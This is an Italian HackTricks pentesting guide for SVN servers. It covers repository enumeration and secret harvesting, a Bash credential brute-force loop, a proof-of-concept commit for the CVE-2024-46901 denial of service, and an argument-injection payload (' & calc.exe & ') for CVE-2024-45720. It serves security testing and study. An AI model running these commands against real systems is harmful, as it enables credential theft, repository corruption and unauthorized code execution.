3690/tcp - Pentesting Subversion (SVN) Server

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Subversion (SVN) è un sistema di version control centralizzato (licenza Apache) utilizzato per la gestione delle versioni del software e il controllo delle revisioni.

Porta predefinita: 3690/tcp (svnserve). Può anche essere esposto tramite HTTP/HTTPS tramite mod_dav_svn e via svn+ssh.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

Enumerazione

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

Auth & Misconfig Hunting

  • svnserve.conf può consentire anon-access = read (o anche write). Se riesci a elencare, prova checkout per esfiltrare segreti, script e CI tokens.
  • I repository spesso memorizzano pipeline di build, deployment keys e credenziali del database in file di configurazione versionati. Grep la working copy dopo il checkout: grep -R "password\|secret\|token" -n ..
  • Se svn+ssh è abilitato, le shell utente spesso consentono comandi svnserve restritti; prova ssh user@host svnserve -t con sottocomandi costruiti per bypassare i wrapper.

Bruteforcing credentials (svnserve)

sasl authentication (se abilitata) e semplici file di password sono protetti solo dal trasporto; nessun blocco di default. Un rapido Bash loop può provare le credenziali:

for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done

Vulnerabilità recenti (impatto pratico)

mod_dav_svn DoS tramite caratteri di controllo (CVE-2024-46901)

  • Un utente con diritti di commit può scrivere un percorso contenente caratteri di controllo (es. \x01, \x7f) che corrompe il repository, facendo sì che successivi checkouts/logs falliscano e potenzialmente causando il crash dei worker di mod_dav_svn.
  • Colpisce Subversion ≤ 1.14.4 quando servito tramite HTTP(S) (mod_dav_svn). Corretto in 1.14.5.
  • PoC commit con svnmucc (richiede credenziali di commit valide):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • Dopo il commit, i client normali possono andare in crash o rifiutare gli aggiornamenti fino a quando gli amministratori non rimuovono manualmente la revisione con svnadmin dump/filter/load.

Injection di argomenti su Windows nel client svn (CVE-2024-45720)

  • Su Windows, la codifica dei caratteri “best-fit” in svn.exe permette command-line argument injection quando vengono elaborati percorsi/URL non‑ASCII appositamente creati, potenzialmente portando a esecuzione arbitraria di programmi.
  • Colpisce Subversion ≤ 1.14.3 solo su Windows; corretto in 1.14.4. Superficie d’attacco: phishing a uno sviluppatore per fargli eseguire svn su un URL/percorso controllato dall’attaccante.
  • Pentest angle: se controlli una condivisione di rete o uno ZIP fornito a un dev Windows, dai al repo URL o al percorso della working-copy un nome che contenga byte best-fit che decodificano in argomenti iniettati in stile " & calc.exe & ", poi inganna la vittima a eseguire svn status o comandi simili su quel percorso.

Note per il workflow di exploitation

  1. Controlla il metodo di accesso: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), o svn+ssh://.
  2. Prova la lettura anonima per prima; poi spray common creds. Se viene usato HTTP Basic, riutilizza creds trovate altrove.
  3. Enumerate hooks: hooks/pre-commit, post-commit scripts a volte contengono credenziali in chiaro o nomi host.
  4. Leverage svn:externals per tirare altri percorsi da altri host; elencali con svn propget svn:externals -R . dopo il checkout.
  5. Version leaks: gli header di risposta HTTP di mod_dav_svn di solito mostrano la versione di Subversion & Apache; confronta con 1.14.5 per individuare target vulnerabili.
  6. Se ottieni accesso al filesystem del repo, svnadmin dump/svnlook author/svnlook dirs-changed consentono analisi offline senza credenziali.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks